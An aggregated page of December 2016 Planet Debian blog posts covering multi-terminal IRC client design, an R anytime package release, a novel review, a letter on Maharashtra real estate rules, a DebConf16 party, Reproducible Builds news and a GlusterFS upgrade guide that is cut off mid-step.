Search Results: "nate"

27 December 2016

Joey Hess: multi-terminal applications

While learning about and configuring weechat this evening, I noticed a lot of complexity and unsatisfying tradeoffs related to its UI, its mouse support, and its built-in window system. Got to wondering what I'd do differently, if I wrote my own IRC client, to avoid those problems. The first thing I realized is, it is not a good idea to think about writing your own IRC client. Danger will robinson.. So, let's generalize. This blog post is not about designing an IRC client, but about exploring simpler ways that something like an IRC client might handle its UI, and perhaps designing something general-purpose that could be used by someone else to build an IRC client, or be mashed up with an existing IRC client. What any modern IRC client needs to do is display various channels to the user. Maybe more than one channel should be visible at a time in some kind of window, but often the user will have lots of available channel and only want to see a few of them at a time. So there needs to be an interface for picking which channel(s) to display, and if multiple windows are shown, for arranging the windows. Often that interface also indicates when there is activity on a channel. The most recent messages from the channel are displayed. There should be a way to scroll back to see messages that have already scrolled by. There needs to be an interface for sending a message to a channel. Finally, a list of users in the channel is often desired. Modern IRC clients implement their own UI for channel display, windowing, channel selection, activity notification, scrollback, message entry, and user list. Even the IRC clients that run in a terminal include all of that. But how much of that do they need to implement, really? Suppose the user has a tabbed window manager, that can display virtual terminals. The terminals can set their title, and can indicate when there is activity in the terminal. Then an IRC client could just open a bunch of terminals, one per channel. Let the window manager handle channel selection, windowing (naturally), and activity notification. For scrollback, the IRC client can use the terminal's own scrollback buffer, so the terminal's regular scrollback interface can be used. This is slightly tricky; can't use the terminal's alternate display, and have to handle the UI for the message entry line at the bottom. That's all the UI an IRC client needs (except for the user list), and most of that is already implemented in the window manager and virtual terminal. So that's an elegant way to make an IRC client without building much new UI at all. But, unfortunately, most of us don't use tabbed window managers (or tabbed terminals). Such an IRC client, in a non-tabbed window manager, would be a many-windowed mess. Even in a tabbed window manager, it might be annoying to have so many windows for one program. So we need fewer windows. Let's have one channel list window, and one channel display window. There could also be a user list window. And there could be a way to open additional, dedicated display windows for channels, but that's optional. All of these windows can be seperate virtual terminals. A potential problem: When changing the displayed channel, it needs to output a significant number of messages for that channel, so that the scrollback buffer gets populated. With a large number of lines, that can be too slow to feel snappy. In some tests, scrolling 10 thousand lines was noticiably slow, but scrolling 1 thousand lines happens fast enough not to be noticiable. (Terminals should really be faster at scrolling than this, but they're still writing scrollback to unlinked temp files.. sigh!) An IRC client that uses multiple cooperating virtual terminals, needs a way to start up a new virtual terminal displaying the current channel. It could run something like this:
x-terminal-emulator -e the-irc-client --display-current-channel
That would communicate with the main process via a unix socket to find out what to display. Or, more generally:
x-terminal-emulator -e connect-pty /dev/pts/9
connect-pty would simply connect a pty device to the terminal, relaying IO between them. The calling program would allocate the pty and do IO to it. This may be too general to be optimal though. For one thing, I think that most curses libraries have a singleton terminal baked into them, so it might be hard to have a single process control cursors on multiple pty's. And, it might be innefficient to feed that 1 thousand lines of scrollback through the pty and copy it to the terminal. Less general than that, but still general enough to not involve writing an IRC client, would be a library that handled the irc-client-like channel display, with messages scrolling up the terminal (and into the scrollback buffer), a input area at the bottom, and perhaps a few other fixed regions for status bars and etc. Oh, I already implemented that! In concurrent-output, over a year ago: a tiling region manager for the console I wonder what other terminal applications could be simplified/improved by using multiple terminals? One that comes to mind is mutt, which has a folder list, a folder view, and an email view, that all are shoehorned, with some complexity, into a single terminal.

24 December 2016

Dirk Eddelbuettel: anytime 0.2.0: Feature, fixes and tests!

A brand new anytime package just arrived at CRAN. This is release number eight, evenly spread with over two per month, since the initial release in September. Needless to say I have been told off not to make this many releases. As they say, no good deed goes unpunished. anytime is a very focused package aiming to do just one thing really well: to convert anything in integer, numeric, character, factor, ordered, ... format to either POSIXct or Date objects -- and to do so without requiring a format string. See the anytime page, or the GitHub README.md for a few examples. This releases does a few things: The following is a quick illustration
R> library(anytime)
R> p <- anytime("2010-01-02 03:04:05.123456")
R> p
[1] "2010-01-02 03:04:05.123456 CST"
R> iso8601(p)
[1] "2010-01-02 03:04:05"
R> rfc2822(p)
[1] "Sat, 02 Jan 2010 03:04:05.123456 -0600"
R> rfc3339(p)
[1] "2010-01-02T03:04:05.123456-0600"
R> 
For symmetry, it also works for dates, but is less detailed
R> jl <- anydate("July 04, 1789")
R> jl
[1] "1789-07-04"
R> iso8601(jl)
[1] "1789-07-04"
R> rfc2822(jl)
[1] "Sat, 04 Jul 1789"
R> rfc3339(jl)
[1] "1789-07-04"
R> 
Of course, all commands are also fully vectorised. See the anytime page, or the GitHub README.md for more examples.

Changes in anytime version 0.2.0 (2016-12-24)
  • Added (exported) helper functions iso8601(), rfc2822() and rfc3339() to format date(time) objects according to standards
  • Conversion to dates is now more robust thanks to improved internal processing (PR #39 closing #36)
  • The ISO 8601 format is now recognised, however the timezone information is not parsed by Boost Date_Time (which is a known upstream limitation) (PR #38 closing #37)
  • The 'allFormats.R' test script was significantly strengthened (#40)
  • Test scripts like 'simpleTests.R' have as also been strengthened (#41); on Windows and in one file two tests need to be skipped.
  • A new 'bulkTest.R' test script was added testing parsing against what R returns

Courtesy of CRANberries, there is a comparison to the previous release. More information is on the anytime page. For questions or comments use the issue tracker off the GitHub repo.

This post by Dirk Eddelbuettel originated on his Thinking inside the box blog. Please report excessive re-aggregation in third-party for-profit settings.

Russ Allbery: Review: Warchild

Review: Warchild, by Karin Lowachee
Series: Warchild #1
Publisher: Warner Aspect
Copyright: April 2002
ISBN: 0-446-61077-1
Format: Mass market
Pages: 451
In a future world of deep space stations and starship trade routes, Jos Musey grew up on a merchant ship with a loving family and typical childhood companions. But, at the age of eight, his ship was taken by pirates and he's taken as a slave. That might have been the end of his story, but after a year of captivity he manages to escape during an alien attack on a distant frontier station. Jos then learns more than he ever expected to learn about the ongoing deep space war between the human military and the aliens and their human sympathizers. From both sides. Warchild feels so much like a collection of 1980s SF tropes that I'm a bit surprised it was published in 2002. Some of those have been part of SF well before the 1980s: the coming-of-age story of a child in space, deep-space combat and merchant fleets, pirates, and sketchy stations. But when one adds the Japanese-inspired philosophy and combat training, with a bit of Karate Kid feel, plus the (oddly bolted on) cyberpunk "burndiving," this book feels deeply embedded in a specific generation of SF storytelling. That's not necessarily a drawback. I like some of those tropes. The martial arts training coupled with careful and patient psychology worked very well for me. It may be a bit stereotyped, but Lowachee is careful to never present it as Asian; it's an alien philosophy and environment, and although it happens to wear its influences on its sleeves, it makes no attempt to tie that to any particular human culture. And the philosophy and, more to the point, the approach Niko takes with Jos is exactly what Jos needs. That section of the book (the second) was by far my favorite. I wish the whole book had been like that. Unfortunately, it's not. The first part is a deeply uncomfortable account of Jos's capture and enslavement (with bonus implied pedophilia). It's thankfully the shortest section of the book, but it's an endless parade of horrors that I didn't enjoy reading. Lowachee took the stylistic choice of writing it in the second person, which is a literary trick that rarely works for me and didn't work here. I'm sure the goal is to make it feel more immediate, but I didn't need this scene to be more immediate, and second person always reads as awkward and forced. If the authors write characters well, I will identify with them, but if I feel like I'm being forced to identify with them, I just start getting irritated. The third part of the book goes in yet a different direction: military SF, complete with hazing, camaraderie, esprit de corps, and bloody combat, with an uncomfortable undertone of constant stress due to Jos's complex and dangerous position. I wanted this to be much shorter and wanted the book to return to the part that I really liked. Unfortunately, that's not to be; the tone of this section is the tone for the rest of the book. To be fair, it's better than I expected it to be, and Jos's recovery and coming-of-age continues in more subtle and more satisfying ways than at first it seemed like it would. But Lowachee complicates and largely breaks a recovery that I was hoping would proceed down a more peaceful path, and replaced a beautiful and interesting (if a bit stereotyped) environment with bog-standard military SF. If you like that sort of thing, there's a lot of that thing here, but I've read a lot of books with that setting and far fewer about an Asian-inspired martial alien philosophy. I think Warchild has a bit too much stuff going on and not enough recovery space. The cyberpunk angle probably gets developed more in later books of the series (the next book is Burndive, which is the name for cyberpunk hacking in this book), but it felt bolted on here. Jos's story has multiple false starts and complications, and Lowachee keeps pulling the rug out from under him again until both he and the reader go a bit numb. The ending mostly works, but it's a brutal resolution to the complex psychological situation Lowachee sets up. This book reminds me a bit of C.J. Cherryh in that the characters seem constantly stressed beyond their ability to cope. I wanted something a bit kinder and softer. Despite that, the psychology and the brief moments of understanding and light are compelling enough that I'm still tempted to read on in this series. The subsequent books follow other characters; maybe they'll be a bit less nasty to their protagonists. Followed by Burndive. Rating: 6 out of 10

22 December 2016

Shirish Agarwal: My letter to Government of Maharashtra on Real Estate Rules and Regulation Draft rules

While I try to minimize Politics and Economics as much as I can on this blog, it sometimes surfaces. It is possible that some people may benefit or at least be aware. A bit of background is necessary before I jump into the intricacies of the Maharashtra Real Estate Rules and Regulation Draft Rules 2016 (RERA) . Since ever, but more prominently since 2007/8 potential homeowners from across the country have been suffering at the hands of the builder/promoter for number of years. While it would be wrong to paint all the Real Estate Developers and Builders as cheats (we as in all tenants and homeowners hope there are good ones out there) many Real Estate Builders and promoters have cheated homeowners of their hard-earned money. This has also lessened the secondary (resale) market and tenants like me have to fight over morsels as supply is tight. There were two broad ways in which the cheating is/was done a. Take deposits and run away i.e. fly by night operators Here the only option for a homeowner is to file an FIR (First Information Report) and hope the culprits are caught. 99% of the time the builder/promoter goes somewhere abroad and the potential home buyers/home-owners are left holding the can. This is usually done by small real estate promoters and builders. b. The big boys would take all or most money of the project, may register or not register the flat in your name, either build a quarter or half-finished building and then make excuses. There are some who do not even build. The money given is used by the builder/developer either for his own needs or using that money in some high-profile project which is expensive and may have huge returns. They know that home-owners can t do anything, at the most go to the court which will take more than a decade or two during which time the developer would have interest-free income and do whatever he wants to do. One of the bigger stories which came up this year was when the Indian Cricket Captain, M.S. Dhoni (cricket is a religion in India, and the cricketers gods for millions of Indians) had to end his brand engagement and ambassadorship from Amrapali Housing Group. Apparently, his wife Sakshi was on the Board of directors at Amrapali Housing and had to resign The Government knew of such issues and had been working since last few years. Under the present Government, a Model Agreement and a Model Real Estate Rules and Regulation Bill was passed on 31st March and came into force on 1st May 2016. India, similar to the U.S. and U.K. follows a federal structure. While I have shared this before, most of the laws in India fall in either of three lists, Central List, Concurrent Lists and State Lists. Housing for instance, is a state subject so any laws concerning housing has to be made by the state legislature. Having a statutory requirement to put the bill in 6 months from 1st of May, the Government of Maharashtra chose to put the draft rules in public domain on 12th December 2016, about 10 days ago and there were efforts to let it remain low-key so people do not object as we are still in the throes of demonetisation. By law they should have given 30 days for people to raise objections and give suggestions. The State Government too could have easily asked an extension and as both the State and the Centre are of the same Political Party they would have easily got it. With that, below is the e-mail I sent to suggesstionsonrera@maharashtra.gov.in Sub Some suggestions for RERA biggest suggestion, need to give more time study the implications for house-owners. Respected Sir/Madame, I will be publishing the below mail as a public letter on my blog as well. I am writing as a citizen, a voter, a potential home owner, currently a tenant . If houses supply is not in time, it is us, the tenants who have the most to lose as we have to fight over whatever is in the market. I do also hope to be a home buyer at some point in time so these rules would affect me also somewhere in the hazy future. I came to know through the media that Maharashtra Govt. recently introduced draft rules for RERA Real Estate (Regulation and Development) Act, 2016 . I hope to impress upon you that these proposed Rules and Regulations need to be thoroughly revised and new draft rules shared with the public at large with proper announcement in all newspapers and proper time ( more than a month ) to study and give replies on the said matter. My suggestions and complaints are as under a. The first complaint and suggestion is that the date between the draft regulations and suggestions being invited by members of public is and was too little 12 December 2016 23 December 2016 (only 11 days) for almost 90 pages of Government rules and regulations which needs multiple rounds of re-reading to understand the implications of the draft rules . Add to that unlike the Central Building Legislation, Model Agreement which was prepared by Centre and also given wide publicity, the Maharashtra Govt. didn t do any such publicity to bring it to the
notice of the people. b. I ask where was the hurry to publish these draft rules now when everybody is suffering through the result of cash-crunch on top of other things. If the said draft rules were put up in January 2017, I am sure more people would have responded to the draft rules. Ir raises suspicion in the mind of everybody the timing of sharing the draft rules and the limited time given to people to respond. E.g. When TRAI (Telephone Regulatory Authority of India) asked for suggestion it gives more than a month, and something like housing which is an existential question for everybody, i.e. the poor, the middle and the rich, you have given pretty less time. While I could change my telephone service providers at a moment s notice without huge loss, the same cannot be said either for a house owner (in case of builder) or a tenant as well. This is just not done. c. The documents are at https://housing.maharashtra.gov.in/sitemap/housing/Rera_rules.htm under different sub-headings while the correct structure of the documents can be found at nared s site
http://naredco.in/notifications.asp . At the very least, the documents should have been in proper order. Coming to some of the salient points raised both in the media and elsewhere 1. On page 6 of Part IV-A Ext1.pdf you have written Explanation.-The registration of a real estate project shall not be required,- (i) for the purpose of any renovations or repair or redevelopment which does not involve marketing, advertisement, selling or new allotment of any apartment , plot or building as the case may be under
the real estate project; RERA draft rules What it means is that the house owner and by the same stroke the tenant would have absolutely no voice to oppose any changes made to the structure at any point of time after the building is built. This means the builder is free to build 12-14-16 even 20 stories building when the original plans were for 6-8-10. This rule gives the builder to do free for all till the building doesn t get converted into a society, a process which does and can take years to happen. 2. A builder has to take innumerable permissions from different authorities at each and every stage till possession of a said property isn t handed over to a home buyer and by its extension to the tenant. Now any one of these authorities could sit on the papers and there is no accountability of by when papers would be passed under a competent authority s desk. There was a wide belief that there would be some
rules and regulations framed in this regard but the draft rules are silent on the subject matter. 3. In Draft rule 5. page 8 of Part IV-A Ext1.pdf you write Withdrawal of amounts deposited in separate account.-(1) With regard to the withdrawal of amounts deposited under sub-clause (D) of clause (l) of sub-section (2) of section 4, the following provisions shall apply:- (i) For new projects which will be registered after commencement. Deposit in the escrow account is from now onwards. So what happens to the projects which are ongoing at the moment, either at the registration stage or at building stage, thousands of potential house owners would be left to fend for themselves. There needs to be some recourse for them as well. 3b. Another suggestion is that the house-owners are duly informed when promoters/builders are taking money from the bank and should have the authority to see that proper documents and procedure was followed. It is possible that unscrupulous elements may either bypass it or give some different documents which are not in knowledge of the house-owner, thus defeating the purpose of the escrow account itself. 4. On page 44 of Pt.IV-A Ext.161 in the Model Agreement to be entered
between the Promoter and the Alottee you have mentioned (i)The Allottee hereby agrees to purchase from the Promoter and the Promoter hereby agrees to sell to the Allottee one Apartment No. .. of the type .. of carpet area admeasuring .. sq. metres on floor in the building __________along with (hereinafter referred to as the Apartment ) as shown in the Floor plan thereof hereto annexed and marked Annexures C
for the consideration of Rs. . including Rs. . being the proportionate price of the common areas and facilities appurtenant to the premises, the nature, extent and description of the common/limited common areas and facilities which are more particularly described in the Second Schedule annexed herewith. (the price of the Apartment including the proportionate price of the limited common areas and facilities and parking spaces should be shown separately). (ii) The Allottee hereby agrees to purchase from the Promoter and the Promoter hereby agrees to sell to the Allottee garage bearing Nos ____ situated at _______ Basement and/or stilt and /or ____podium being
constructed in the layout for the consideration of Rs. ____________/- (iii) The Allottee hereby agrees to purchase from the Promoter and the Promoter hereby agrees to sell to the Allottee Car parking spaces bearing Nos ____ situated at _______ Basement and/or stilt and /or ____podium and/or open parking space, being constructed in the layout for the
consideration of Rs. ____________/-. The total aggregate consideration amount for the apartment including garages/car parking spaces is
thus Rs.______/- Draft rules. What has been done here is the parking space has been divorced from sale of the flat . It is against natural justice, logic, common sense as well-known precedents in jurisprudence (i.e. law) In September 2010, the bench of Justices R M Lodha and A K Patnaik had ruled in a judgement stating developers cannot sell parking spaces as independent real-estate units. The court ruled that parking areas are common areas and facilities . This was on behalf of a precedent in Mumbai High Court as well. http://www.reinventingparking.org/2010/09/important-parking-ruling-by-indias.html This has been reiterated again and again in courts as well as consumer
forums http://timesofindia.indiatimes.com/city/mumbai/Cant-charge-flat-buyer-extra-for-parking-slot/articleshow/22475233.cms and has been the norm in several Apartment Acts over multiple states http://apartmentadda.com/blog/2015/02/19/rules-pertaining-to-parking-spaces-in-apartment-complexes/ 5. In case of dispute, the case will high court which is inundated by huge number of pending cases. As recently as August 2016 there was a news item in Indian Express which talks about the spike in pending cases. Putting a case in the high court will weigh heavily on the homeowner, financially and
mentally http://indianexpress.com/article/cities/mumbai/more-cases-and-increased-staff-strength-putting-pressure-on-bombay-high-court-building-2964796/ It may be better to use the services of National Consumer Disputes Redressal Commission'(NCDRC) where there is possibility of quicker justice and quick resolution. There is possibility of group actions taking place which will reduce duplicity of work on behalf of the petitioners. 6. There is neither any clarity, incentive or punitive action against the promoter/builder if s/he delay conveyance to the society in order to get any future developmental and FSI rights. To delay handing over conveyance, the builders delay completion of the last building in a said project. there should be both a compensatory and punitive actions taken against the builder if he is unable to prove any genuine cause for the same. 7. There needs to be the provision with regard to need for developers to make public disclosures pertaining to building approvals. This while I had shared above needs to be explicitly mentioned so house-owners know the promoter/builder are on the right path. 8. There needs to be a provision that prohibits refusal to sell property to any person on the basis of his/her religion, marital status or dietary preferences. 9. There is lot of ambiguity if criminal proceedings can be initiated against a promoter/developer if s/he fails to deliver the flat on time. The developer should be criminally liable if he doesn t give the flat with all the amenities, fixtures and anything which was on agreement signed by both parties and for which the payment has been given in
full at time of possession of a flat. 10. Penalties for the promoter/builder is capped at 10% in case of any wrong-doing. Apart from proving the charge, the onus of which would lie on the house-owner, capping it at 10% is similar to A teacher telling a naughty student, do whatever you want to do, I am only going to hit you 5 times. Such a drafting encourages the Promoter/builder to play mischief. The builder knows his exposure is pretty limited. Liability is limited so he will try to get with whatever he can. Having a high penalty clause will deter him. 11. There was talk and shown in the Center s model agreement the precedent of providing names, addresses and contact details of other allot-tees or home-owners of a building that would have multiple dwelling units . This is nowhere either in the agreement or mentioned anywhere else in the four documents. 12. An addition to the above would be that the details provided should be correct and updated as per the records maintained by the Promoter/builder. 13. Today, there is no way for a potential house-owner to know if the builder had broken any norms or has any cases in court pending against him. There should be a way for the potential house-owner to find out. 14. A builder can terminate a flat purchase agreement by giving just a week s notice on email to the buyer who defaults on an instalment. But the developer can refund the money without interest to the
purchaser at leisure, within six months.Under MOFA (the earlier rules), the developer could cancel the agreement after giving a 15 days notice, and the builder could resell the flat only after refunding money to the original buyer. Under the new draft rules, a builder can immediately sell the flat after terminating the agreement. 15. The new draft rules say a buyer must pay 30% of the total cost while signing the agreement and 45% when the plinth of the building is constructed. The earlier state law stipulated 20% payment when the
agreement is signed with the developer. 16. The Central model agreement and rules proposed a fee of INR Rs 1,000 for filing complaints before housing authority; the state draft has proposed to hike this fee to Rs INR Rs. 10,000/- 17. Reading the Central Model Agreement, key disclosures under Section 4 (2)and Rule 3 (2) of the Central Model Rules have been excluded to be put up on the website of the Authority. These included carpet area of flat, encumbrance certificate (this would have disclosed encumbrances in respect of the land where the real estate project is proposed to be undertaken), copy of the legal title report and sanctioned plan of the building. Due to this house-owner would always be in dark and assume that everything is alright. There have been multiple instances of this over years Some examples http://www.deccanchronicle.com/140920/nation-current-affairs/article/builder-encroaches-%E2%80%98raja-kaluve%E2%80%99 http://indianexpress.com/article/cities/ahmedabad/surat-builder-grabs-tribal-land-using-fake-documents/ http://www.thehindu.com/news/cities/bangalore/bmtf-books-exmayor-wife-for-grabbing-ca-site/article7397062.ece http://timesofindia.indiatimes.com/city/thane/24-acre-ambernath-plot-usurped-with-fake-docus/articleshow/55654139.cms 18. The Central rule requires a builder to submit an annual report including profit and loss account, balance sheet, cash flow statement, directors report and auditors report for the preceding three financial years, among other things. However, the Maharashtra draft rules are silent on such a requirement. While the above is what I could perceive in the limited amount I came to know. This should be enough to convince that more needs to be done from the house-owner s side. Update Just saw Quint s Op-Ed goes in more detail.
Filed under: Miscellenous Tagged: #Draft Rules for Real Estate Rules and Regulation (2016), #hurry, #Name, #Response, Amrapali Group, Contact details of other hom-owners in a scheme., M.S. Dhoni

Shirish Agarwal: The wine and dine at debconf16

For the wine connoisseur

FOR the Wine Connoisseur

All photos courtesy KK . If any deviations, would put up labels sharing whose copyright it is. Before I get into all of that, I was curious about Canada and taking the opportunity of debconf happening there in a few months, asked few people what they thought of digital payments, fees and expenses in their country and if plastic cash is indeed used therein. The first to answer was Tyler McDonald (no idea if he is anyway related to the fast-food chain McDonalds which is a worldwide operation.) This is what he had to say/share
You can use credit / debit cards almost everywhere. Restaurant waiters also usually have wireless credit / debit terminals that they will bring to your table for you to settle your bill. How much your bank charges depends on your Canadian bank and the banking plan you are on. For instance, on my plan through the Bank Of Montreal, I get (I think) 20 free transactions a month and then after that I m charged $0.50CDN/piece. However, if I go to a Bank Of Montreal ATM and withdraw cash, there is no service fee for that. There is no service fee for using *credit* cards, only *debit* cards tend to have the fee. I live in a really rural area so I can t always get to a Bank Of Montreal machine for cash. So what I usually end up doing, is either pay by credit and then pay of the balance right away so I don t have to pay interest, or when I do use my bank card to pay for something, I ask if I can get cash back as well. Yes, Canada converted to plastic notes a few years ago. We ve also eliminated the penny. For cashless transactions, you pay the exact amount billed. If you re paying somebody in cash, it is rounded up or down to the nearest 5 cents. And for $1 or $2, instead of notes, we ve moved over to coins. I personally like the plastic notes. They re smoother and feel more durable than the paper notes. I ve had one go through a laundry load by accident and it came out the other side fine.
Another gentleman responded with slightly more information which probably would interest travellers from around the world, not just Indians
Quebec has its own interbank system called Interac (https://interac.ca/en/about/our-company.html). Quebec is a very proud and independent region and for many historical reasons they want to stand on their own, which is why they support their local systems. Some vendors will support only Interac for debit card transactions (at least this was the case when I stayed there the beginning of this decade, it might have changed a bit). *Most* vendors (including supermarkets like Provigo, Metro, etc) will accept major credit and debit cards, although MasterCard isn t accepted as widely there as Visa is. So, if you have one of both, load up your Visa card instead of your MasterCard or get a prepaid Visa card from your bank. They support chip cards everywhere so don t worry about that. If you have a 5 digit pin on any of your cards and a vendor asks you for a 4 digit pin, it will work 90%+ of the times if you just enter the first 4 digits, but it s usually a good idea to go change your pin to a 4 digit just to be safe.
From the Indian perspective all of the above fits pretty neat as we also have Pin and Chip cards (domestically though most ATMs still use the magnetic strip and is suspected that the POS terminals aren t any better.) That would be a whole different story so probably left for another day. I do like the bit about pocketing the change tip. As far as number of free transactions go, it was pretty limited in India for few years before the demonetization happening now. Few years before, I do remember doing as many transactions on the ATM as I please but then ATM s have seen a downward spiral in terms of technology upgradation, maintenance etc. There is no penalty to the bank if the ATM is out-of-order. If there was significant penalty then we probably would have seen banks taking more care of ATM s. It is a slightly more complex topic hence would take a stab at it some other day. Do hope though that the terms for ATM usage for bank customers become lenient similar to Canada otherwise it would be difficult for Indians to jump on the digital band-wagon as you cannot function without cheap, user-friendly technology. Cash machines: Uneven spread, slowing growth - Copyright Indian Express The image has been taken from this fascinating article which appeared in Indian Express couple of days back. Coming back to the cheese and wine in the evening. I think we started coming back from Eagle Encounters around 16:30/17:00 hrs Cape Town time. Somehow the ride back was much more faster and we played some Bollywood party music while coming back (all cool). Suddenly remembered that I had to buy some cheese as I hadn t bought any from India. There is quite a bit of a post where I m trying to know/understand if spices can be smuggled (which much later I learnt I didn t need to but that s a different story altogether), I also had off-list conversations with people about cheese as well but wasn t able to get any good recommendations. Then saw that KK bought Mysore Pak (apparently she took a chance not declaring it) which while not being exactly cheese fit right into things. In her own words a South Indian ghee sweet fondly nicknamed the blocks of cholesterol and reason #3 for bypass surgery . KK So with Leonard s help we stopped at a place where it looked like a chain of stores. Each store was selling something. Seeing that, I was immediately transported to Connaught Place, Delhi Connaught Place, Delhi The image comes from http://planetden.com/food/roundabout-world-connaught-place-delhi which attempts to explain Connaught Place. While the article is okish, it lacks soul and not written like a Delhite would write or anybody who has spent a chunk having spent holidays at CP. Another day, another story, sorry. What I found interesting about the stores while they were next to each other, I also eyed an alcohol shop as well as an Adult/Sex shop. I asked Leonard as to how far we were from UCT and he replied hardly 5 minutes by car and was shocked to see both alcohol and a sex shop. While an alcohol shop some distance away from a college is understandable, there are few and far around Colleges all over India, but adult shops are a rarity. Unfortunately, none of us have any photos of the place as till that time everybody s phone was dead or just going to be dead and nobody had thought to bring a portable power pack to juice our mobile devices. A part of me was curious to see what the sex shop would have and look from inside, but as was with younger people didn t think it was appropriate. All of us except Jaminy and someone else (besides Leonard) decided to stay back, while the rest of us went inside to explore the stores. It took me sometime to make my way to the cheese corner and had no idea which was good and which wasn t. So with no idea of brands therein, the only way to figure out was the pricing. So bought two, one a larger 500 gm cheap piece and a smaller slightly more expensive one just to make sure that the Debian cheese team would be happy. We did have a mini-adventure as for sometime Jaminy was missing, apparently she went goofing off or went to freshen up or something and we were unable to connect with her as all our phones were dead or dying. Eventually we came back to UCT, barely freshened up when it was decided by our group to go and give our share of goodies to the cheese and wine party. When I went up to the room to share the cheese, came to know they needed a volunteer for cutting veggies etc. Having spent years seeing Yan Can Cook and having practised quite a bit tried to do some fancy decoration and some julian cutting but as we got dull knives and not much time, just did some plain old cutting
The salads

The Salads, partly done by me.

I have to share I had a fascinating discussion about cooking in Pressure Cookers. I was under the assumption that everybody knows how to use Pressure Cookers as they are one of the simplest ways to cook food without letting go of all the nutrients. At least, I believe this to be predominant in the Asian subcontinent and even the chinese have similar vessels for cooking. I use what is called the first generation Pressure Cooker. I have been using a 1.5 l Prestige Pressure Cooker over half a decade, almost used daily without issues. http://www.amazon.in/Prestige-Nakshatra-Aluminium-Pressure-Cooker/dp/B00CB7U1OU
Prestige 1.5 L Pressure Cooker

1.5 Litre Pressure Cooker with gasket and everything.

There are also induction pressure cookers nowadays in the Indian market and this model https://www.amazon.in/Prestige-Deluxe-Induction-Aluminum-Pressure/dp/B01KZVPNGE/ref=sr_1_2
Induction base cooking for basmati rice

Best cooker for doing Basmati Biryanis and things like that.

Basmati is long-grain, aromatic rice which most families used in very special occasions such as festivals, marriages, anything good and pure is associated with the rice. I had also shared my lack of knowledge of industrial Microwave Ovens. While I do get most small Microwave Ovens like these , cooking in industrial ovens I simply have no clue. Anyways, after that conversation I went back, freshened up a bit and sometime later found myself in the middle of this
Collection of Wine Bottles

Random selection of wine bottles from all over the world.

Also at times found myself in middle of this
Chocolates all around me.

CHOCOLATES

I tried quite a few chocolates but the best one I liked (don t remember the name) was a white caramel chocolate which literally melted into my mouth. Got the whole died and went to heaven experience . Who said gluttony is bad Or this
French Bread, Wine and chaos

French Bread, Wine and chaos

As can be seen the French really enjoy their bread. I do remember a story vaguely (don t remember if it was a children s fairy tale or something) about how the French won a war through their french bread. Or this
Juices for those who love their health

Juices for those who love their health

We also had juices for the teetotaller or who can t handle drinks. Unsurprisingly perhaps, by the end of the session, almost all the different wines were finito while there was still some juices left to go around. From the Indian perspective, it wasn t at all exciting, there were no brawls, everybody was too civilized and everybody staggered off when they met their quota. As I was in holiday spirit, stayed up late, staggered to my room, blissed out and woke up without any headache. Pro tip Drink lots and lots and lots of water especially if you are drinking. It flushes out most of the toxins and also helps in not having after-morning headaches. If I m going drinking, I usually drown myself in at least a litre or two of water, even if I had to the bathroom couple of times before going to bed. All in all, a perfect evening. I was able to connect/talk with some of the gods whom I had wanted to for a long time and they actually listened. Don t remember if I mumbled something or made some sense in small-talk or whatever I did. But as shared, a perfect evening
Filed under: Miscellenous Tagged: #ATM usage, #Canada, #Cheese and Wine party, #Cheese shopping, #Connaught Place Delhi, #Debconf16, #Debit card, #French bread, #Julian cutting, #Mysore Pak, #white caramel chocolate

20 December 2016

Reproducible builds folks: Reproducible Builds: week 86 in Stretch cycle

What happened in the Reproducible Builds effort between Sunday December 11 and Saturday December 17 2016: Reproducible builds world summit The 2nd Reproducible Builds World Summit was held in Berlin, Germany on December 13th-15th. The event was a great success with enthusiastic participation from an extremely diverse number of projects. Many thanks to our sponsors for making this event possible! Reproducible Summit 2 in Berlin 2016 Whilst there is an in-depth report forthcoming, the Guix project have already released their own report. Media coverage Reproducible work in other projects Documentation update A large number of revisions were made to the website during the summit, including re-structuring existing content and creating a concrete plan to move the wiki content to the website: Elsewhere in Debian Packages reviewed and fixed, and bugs filed Chris Lamb: Daniel Shahaf: Reiner Herrmann: Reviews of unreproducible packages 9 package reviews have been added, 19 have been updated and 17 have been removed in this week, adding to our knowledge about identified issues. 3 issue types have been added: One issue type was updated: Weekly QA work During our reproducibility testing, some FTBFS bugs have been detected and reported by: diffoscope development reprotest development trydiffoscope development Misc. This week's edition was written by Chris Lamb and reviewed by a bunch of Reproducible Builds folks on IRC and via email.

Mario Lang: Upgrading GlusterFS from Wheezy to Stretch

We are about to upgrade one of our GlusterFS-based storage systems at work. Fortunately, I was worrying about the upgrade procedure for the Debian packages not being tested by the maintainers. It turns out I was right. Simply upgrading the packages without manual intervention will apparently render your GlusterFS server unusable.
Basic setup I have only tested the most basic distributed GlusterFS setup. No replication whatsoever. We have two GlusterFS servers, storage1 and storage2. A peering between both has been established, and a very basic volume has been configured:
storage1:~# gluster
gluster> peer status
Number of Peers: 1
Hostname: storage2
Uuid: 2d22cc13-2252-4cf1-bfe9-3d27fa2fbc29
State: Peer in Cluster (Connected)
gluster> volume create data storage1:/srv/data storage2:/srv/data
...
gluster> volume start data
...
gluster> volume info
Volume Name: data
Type: Distribute
Volume ID: e2bd5767-4b33-4e57-9320-91ca76f52d56
Status: Started
Number of Bricks: 2
Transport-type: tcp
Bricks:
Brick1: storage1:/srv/data
Brick2: storage2:/srv/data
For the test setup, I populated the volume with a number of files.
Upgrading from Wheezy to Jessie To be save, stop the volume before you begin with the package upgrade:
gluster> volume stop data
And now perform your dist-upgrade. After the upgrade, you will have to perform two manual clean ups. Both actions have to be performed on all storage servers.
/etc/glusterd is now /var/lib/glusterd The package maintainers have apparently neglected to take care of this one. You manually need to copy the old configuration files over.
storage1:~# cd /var/lib/glusterd && cp -r /etc/glusterd/* .
Put volume-id in extended attribute GlusterFS 3.5 requires the volume-id in an extended directory attribute. This is also not automatically handled during package upgrade.
storage1:~# vol=data
storage1:~# volid=$(grep volume-id /var/lib/glusterd/vols/$vol/info   cut -d= -f2   sed 's/-//g')
storage1:~# setfattr -n trusted.glusterfs.volume-id -v 0x$volid /srv/data
With these two steps performed on all GlusterFS servers, you should now be able to start and mount your volume again in Debian Jessie. Do not forget to explicitly stop the volume again before continueing with the next upgrade step.
Upgrading from Jessie to Stretch After you have dist-upgraded to Stretch, there is yet another manual step you have to take to convert the volume metadata to the new layout in GlusterFS 3.8. Make sure you have stopped your volumes and the GlusterFS server.
storage1:~# service glusterfs-server stop
Now run the following command:
storage1:~# glusterd --xlator-option *.upgrade=on -N
Now you should be ready to start your volume again:
storage1:~# service glusterfs-server start
storage1:~# gluster
gluster> volume start data
And mount it:
